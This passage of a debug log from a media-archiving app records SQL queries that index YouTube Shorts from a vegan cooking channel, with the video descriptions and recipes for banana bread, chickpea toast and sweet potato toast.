("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The BEST Banana Bread… Ever?! Yup. 🍌🍞And it’s vegan, GF, oil-free and made with mostly whole foods. FULL RECIPE VIDEO ➡️ https://youtu.be/Md-V4Neaa1w\n\nSeriously. As someone who’s struggled to perfect any GF breads, cause you know they ALWAYS are undercooked in the middle or dry and crumbly AF 🥴 this oat flour-based bread cooks TO PERFECTION! \n\nbrown spotty bananas\nrolled oats (gluten-free if necessary)\nbaking powder & soda \nsalt\ntsp cinnamon\ncoconut sugar\ntahini or nut butter\nvanilla\n2 flax eggs\napple cider vinegar\nvegan choc chips\n\n#veganbananabread #bananabreadrecipe #wfpbrecipes #wfpbvegan #steamyvegankitchen #steamyvegan #whatveganseat #poweredbyplants", "Vegan Banana Bread | The only recipe you’ll ever need", "bf8d0c17-73aa-4b19-a9cb-76ed7a3f772a", 1, [], 15, false, "eu8lbSq6wwg", "https://www.youtube.com/shorts/eu8lbSq6wwg", 187, "/downloads/downloads/alec/Steamy Vegan/2023-02-18 Vegan Banana Bread | The only recipe you’ll ever need/Vegan Banana Bread | The only recipe you’ll ever need [eu8lbSq6wwg].NA", false, false, true, 0, ~U[2023-02-18 17:42:03Z], ~U[2026-03-22 03:26:27Z], ~U[2026-03-22 03:26:27Z], "The BEST Banana Bread… Ever?! Yup. 🍌🍞And it’s vegan, GF, oil-free and made with mostly whole foods. FULL RECIPE VIDEO ➡️ https://youtu.be/Md-V4Neaa1w\n\nSeriously. As someone who’s struggled to perfect any GF breads, cause you know they ALWAYS are undercooked in the middle or dry and crumbly AF 🥴 this oat flour-based bread cooks TO PERFECTION! \n\nbrown spotty bananas\nrolled oats (gluten-free if necessary)\nbaking powder & soda \nsalt\ntsp cinnamon\ncoconut sugar\ntahini or nut butter\nvanilla\n2 flax eggs\napple cider vinegar\nvegan choc chips\n\n#veganbananabread #bananabreadrecipe #wfpbrecipes #wfpbvegan #steamyvegankitchen #steamyvegan #whatveganseat #poweredbyplants", "Vegan Banana Bread | The only recipe you’ll ever need", 1, 15, false, "eu8lbSq6wwg", "https://www.youtube.com/shorts/eu8lbSq6wwg", "/downloads/downloads/alec/Steamy Vegan/2023-02-18 Vegan Banana Bread | The only recipe you’ll ever need/Vegan Banana Bread | The only recipe you’ll ever need [eu8lbSq6wwg].NA", true, ~U[2023-02-18 17:42:03Z]] 20:26:27.393 [debug] QUERY OK source="sources" db=0.3ms idle=335.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:27.393 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:27.394 [debug] QUERY OK source="media_items" db=0.4ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [576] 20:26:27.394 [debug] Current batch of media processed. Will check again in 1000ms 20:26:28.395 [debug] Current batch of media processed. Will check again in 1000ms 20:26:29.396 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "What I eat in a day ✨ Valentine’s day edition 💋 How I eat whole foods, plant based and gluten free with EASE 💕\n\nGood eats from morning til night! ☀️ 🌙 💕\nBreakfast = banana pancakes 🥞/ blueberry 🫐 compote \nLunch = EPIC focaccia (GF)/sweet potato 🍠 tomato 🍅 basil 🌿 soup \nDinner = creamy spinach artichoke mushroom 🍄 Alfredo \nDessert = sweet potato 🍠 brownies!\n\nAll recipes and ingredients in my latest YouTube ‘what I eat in a day’ vid ✨\nhttps://youtu.be/8dUducBJ6Cc\n\n#whatieatinaday #whatieatinadayvegan #whatieattoloseweight #valentinesday #wfpbrecipes #wfpb #steamyvegankitchen #steamyvegan", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-02-15 VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts/VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts [iKgvBdncoMA].NA", "id" => "iKgvBdncoMA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/iKgvBdncoMA", "playlist_index" => 188, "timestamp" => 1676500231, "title" => "VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts", "upload_date" => "20230215"} 20:26:29.397 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=813.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:29.398 [debug] QUERY OK source="sources" db=0.3ms idle=814.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:29.400 [debug] QUERY OK source="media_items" db=2.3ms idle=814.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-15 22:30:31Z], 1] 20:26:29.402 [debug] QUERY OK source="media_items" db=1.2ms idle=817.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day ✨ Valentine’s day edition 💋 How I eat whole foods, plant based and gluten free with EASE 💕\n\nGood eats from morning til night! ☀️ 🌙 💕\nBreakfast = banana pancakes 🥞/ blueberry 🫐 compote \nLunch = EPIC focaccia (GF)/sweet potato 🍠 tomato 🍅 basil 🌿 soup \nDinner = creamy spinach artichoke mushroom 🍄 Alfredo \nDessert = sweet potato 🍠 brownies!\n\nAll recipes and ingredients in my latest YouTube ‘what I eat in a day’ vid ✨\nhttps://youtu.be/8dUducBJ6Cc\n\n#whatieatinaday #whatieatinadayvegan #whatieattoloseweight #valentinesday #wfpbrecipes #wfpb #steamyvegankitchen #steamyvegan", "VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts", "ece2836f-88a9-4b7b-8aef-5069bd9c4e0e", 1, [], 59, false, "iKgvBdncoMA", "https://www.youtube.com/shorts/iKgvBdncoMA", 188, "/downloads/downloads/alec/Steamy Vegan/2023-02-15 VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts/VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts [iKgvBdncoMA].NA", false, false, true, 0, ~U[2023-02-15 22:30:31Z], ~U[2026-03-22 03:26:29Z], ~U[2026-03-22 03:26:29Z], "What I eat in a day ✨ Valentine’s day edition 💋 How I eat whole foods, plant based and gluten free with EASE 💕\n\nGood eats from morning til night! ☀️ 🌙 💕\nBreakfast = banana pancakes 🥞/ blueberry 🫐 compote \nLunch = EPIC focaccia (GF)/sweet potato 🍠 tomato 🍅 basil 🌿 soup \nDinner = creamy spinach artichoke mushroom 🍄 Alfredo \nDessert = sweet potato 🍠 brownies!\n\nAll recipes and ingredients in my latest YouTube ‘what I eat in a day’ vid ✨\nhttps://youtu.be/8dUducBJ6Cc\n\n#whatieatinaday #whatieatinadayvegan #whatieattoloseweight #valentinesday #wfpbrecipes #wfpb #steamyvegankitchen #steamyvegan", "VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts", 1, 59, false, "iKgvBdncoMA", "https://www.youtube.com/shorts/iKgvBdncoMA", "/downloads/downloads/alec/Steamy Vegan/2023-02-15 VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts/VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts [iKgvBdncoMA].NA", true, ~U[2023-02-15 22:30:31Z]] 20:26:29.403 [debug] QUERY OK source="sources" db=0.6ms idle=340.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:29.403 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:29.404 [debug] QUERY OK source="media_items" db=0.3ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [577] 20:26:29.404 [debug] Current batch of media processed. Will check again in 1000ms 20:26:30.405 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠\n1 can chickpeas, drained and rinsed\n1 small avocado\nJuice of 1/2 a lemon\n3 tbsp nutritional yeast\n3/4 tsp garlic powder\n1 tsp paprika (sweet, hot, or smoked)\nSalt and pepper to taste\n\n1. In a large bowl, add the rinsed chickpeas and mash until desired texture with a fork or potato masher.\n2. Add the avocado and continue mashing until the two are combined.\n3. Add all remaining ingredients to the bowl and mix well with a fork until it’s a uniform mash. Adjust seasonings to taste.\n4. Add a few dollops of the mash onto your sweet potato toast, top with sliced tomato and salt and pepper and enjoy!\n\nSee how I meal prep sweet potato toast here ➡️ https://youtu.be/_IS3CDabzNY\n\n\nMusic by Citrus Avenue - Quietly the Cat - https://thmatc.co/?l=1DB82C4D", "duration" => 42, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-02-03 SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠/SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠 [ts0VhJ3sWd4].NA", "id" => "ts0VhJ3sWd4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/ts0VhJ3sWd4", "playlist_index" => 189, "timestamp" => 1675443791, "title" => "SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠", "upload_date" => "20230203"} 20:26:30.406 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:30.407 [debug] QUERY OK source="sources" db=0.4ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:30.409 [debug] QUERY OK source="media_items" db=1.9ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-03 17:03:11Z], 1] 20:26:30.410 [debug] QUERY OK source="media_items" db=0.7ms idle=1005.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠\n1 can chickpeas, drained and rinsed\n1 small avocado\nJuice of 1/2 a lemon\n3 tbsp nutritional yeast\n3/4 tsp garlic powder\n1 tsp paprika (sweet, hot, or smoked)\nSalt and pepper to taste\n\n1. In a large bowl, add the rinsed chickpeas and mash until desired texture with a fork or potato masher.\n2. Add the avocado and continue mashing until the two are combined.\n3. Add all remaining ingredients to the bowl and mix well with a fork until it’s a uniform mash. Adjust seasonings to taste.\n4. Add a few dollops of the mash onto your sweet potato toast, top with sliced tomato and salt and pepper and enjoy!\n\nSee how I meal prep sweet potato toast here ➡️ https://youtu.be/_IS3CDabzNY\n\n\nMusic by Citrus Avenue - Quietly the Cat - https://thmatc.co/?l=1DB82C4D", "SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠", "462f28e4-cca3-4d34-a0bc-afc9e95b5c7a", 1, [], 42, false, "ts0VhJ3sWd4", "https://www.youtube.com/shorts/ts0VhJ3sWd4", 189, "/downloads/downloads/alec/Steamy Vegan/2023-02-03 SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠/SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠 [ts0VhJ3sWd4].NA", false, false, true, 0, ~U[2023-02-03 17:03:11Z], ~U[2026-03-22 03:26:30Z], ~U[2026-03-22 03:26:30Z], "SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠\n1 can chickpeas, drained and rinsed\n1 small avocado\nJuice of 1/2 a lemon\n3 tbsp nutritional yeast\n3/4 tsp garlic powder\n1 tsp paprika (sweet, hot, or smoked)\nSalt and pepper to taste\n\n1. In a large bowl, add the rinsed chickpeas and mash until desired texture with a fork or potato masher.\n2. Add the avocado and continue mashing until the two are combined.\n3. Add all remaining ingredients to the bowl and mix well with a fork until it’s a uniform mash. Adjust seasonings to taste.\n4. Add a few dollops of the mash onto your sweet potato toast, top with sliced tomato and salt and pepper and enjoy!\n\nSee how I meal prep sweet potato toast here ➡️ https://youtu.be/_IS3CDabzNY\n\n\nMusic by Citrus Avenue - Quietly the Cat - https://thmatc.co/?l=1DB82C4D", "SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠", 1, 42, false, "ts0VhJ3sWd4", "https://www.youtube.com/shorts/ts0VhJ3sWd4", "/downloads/downloads/alec/Steamy Vegan/2023-02-03 SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠/SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠 [ts0VhJ3sWd4].NA", true, ~U[2023-02-03 17:03:11Z]] 20:26:30.411 [debug] QUERY OK source="sources" db=0.5ms idle=346.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:30.411 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:30.412 [debug] QUERY OK source="media_items" db=0.3ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [578] 20:26:30.412 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "✨ Make breakfast with me / SWEET POTATO TOAST style 🍠 cause bread sometimes just doesn’t cut it 🍞\n\nCheck out my full how-to video with 3 delicious recipes HERE: https://youtu.be/_IS3CDabzNY\n\nOVEN METHOD \nPreheat oven to 425F — line a baking tray with parchment — slice a large yam into about 1/3” slices on a DIAGONAL so you get larger, longer pieces — arrange slices on baking tray and poke holes with a fork along each side — bake for 30 mins total, flipping over halfway \n\nTOASTER/TOASTER OVEN METHOD\nTake yam slices and pop them directly into the toaster/ toaster oven and toast on the highest setting 2 to 3 times, until the edges are golden and you can poke a fork through the centre \n\nUse your sweet potato toasts as you would regular bread! Top with your favourite toast toppings and spreads and enjoy 😉 Sweet potatoes 🍠 will keep you fuller for longer, are chock full of nutrients and taste DELISH as toast. Try it out yourself and let me know how it goes! 👇🏻 \n\n#plantbasedbreakfastideas #steamyvegankitchen #veganbreakfastrecipes #sweetpotatotoast \nMusic by Mark Generous - Lanikai - https://thmatc.co/?l=B31B0D7E", "duration" => 40, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-02-01 Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts/Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts [QJDjBcFUKuU].NA", "id" => "QJDjBcFUKuU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/QJDjBcFUKuU", "playlist_index" => 190, "timestamp" => 1675210156, "title" => "Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts", "upload_date" => "20230201"} 20:26:30.413 [debug] QUERY OK source="sources" db=0.4ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:30.414 [debug] QUERY OK source="sources" db=0.6ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:30.415 [debug] QUERY OK source="media_items" db=1.3ms idle=3.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-01 00:09:16Z], 1] 20:26:30.417 [debug] QUERY OK source="media_items" db=0.8ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["✨ Make breakfast with me / SWEET POTATO TOAST style 🍠 cause bread sometimes just doesn’t cut it 🍞\n\nCheck out my full how-to video with 3 delicious recipes HERE: https://youtu.be/_IS3CDabzNY\n\nOVEN METHOD \nPreheat oven to 425F — line a baking tray with parchment — slice a large yam into about 1/3” slices on a DIAGONAL so you get larger, longer pieces — arrange slices on baking tray and poke holes with a fork along each side — bake for 30 mins total, flipping over halfway \n\nTOASTER/TOASTER OVEN METHOD\nTake yam slices and pop them directly into the toaster/ toaster oven and toast on the highest setting 2 to 3 times, until the edges are golden and you can poke a fork through the centre \n\nUse your sweet potato toasts as you would regular bread! Top with your favourite toast toppings and spreads and enjoy 😉 Sweet potatoes 🍠 will keep you fuller for longer, are chock full of nutrients and taste DELISH as toast. Try it out yourself and let me know how it goes! 👇🏻 \n\n#plantbasedbreakfastideas #steamyvegankitchen #veganbreakfastrecipes #sweetpotatotoast \nMusic by Mark Generous - Lanikai - https://thmatc.co/?l=B31B0D7E", "Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts", "cc26fc52-490f-414e-99ac-fa9d09dd0a59", 1, [], 40, false, "QJDjBcFUKuU", "https://www.youtube.com/shorts/QJDjBcFUKuU", 190, "/downloads/downloads/alec/Steamy Vegan/2023-02-01 Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts/Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts [QJDjBcFUKuU].NA", false, false, true, 0, ~U[2023-02-01 00:09:16Z], ~U[2026-03-22 03:26:30Z], ~U[2026-03-22 03:26:30Z], "✨ Make breakfast with me / SWEET POTATO TOAST style 🍠 cause bread sometimes just doesn’t cut it 🍞\n\nCheck out my full how-to video with 3 delicious recipes HERE: https://youtu.be/_IS3CDabzNY\n\nOVEN METHOD \nPreheat oven to 425F — line a baking tray with parchment — slice a large yam into about 1/3” slices on a DIAGONAL so you get larger, longer pieces — arrange slices on baking tray and poke holes with a fork along each side — bake for 30 mins total, flipping over halfway \n\nTOASTER/TOASTER OVEN METHOD\nTake yam slices and pop them directly into the toaster/ toaster oven and toast on the highest setting 2 to 3 times, until the edges are golden and you can poke a fork through the centre \n\nUse your sweet potato toasts as you would regular bread! Top with your favourite toast toppings and spreads and enjoy 😉 Sweet potatoes 🍠 will keep you fuller for longer, are chock full of nutrients and taste DELISH as toast. Try it out yourself and let me know how it goes! 👇🏻 \n\n#plantbasedbreakfastideas #steamyvegankitchen #veganbreakfastrecipes #sweetpotatotoast \nMusic by Mark Generous - Lanikai - https://thmatc.co/?l=B31B0D7E", "Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts", 1, 40, false, "QJDjBcFUKuU", "https://www.youtube.com/shorts/QJDjBcFUKuU", "/downloads/downloads/alec/Steamy 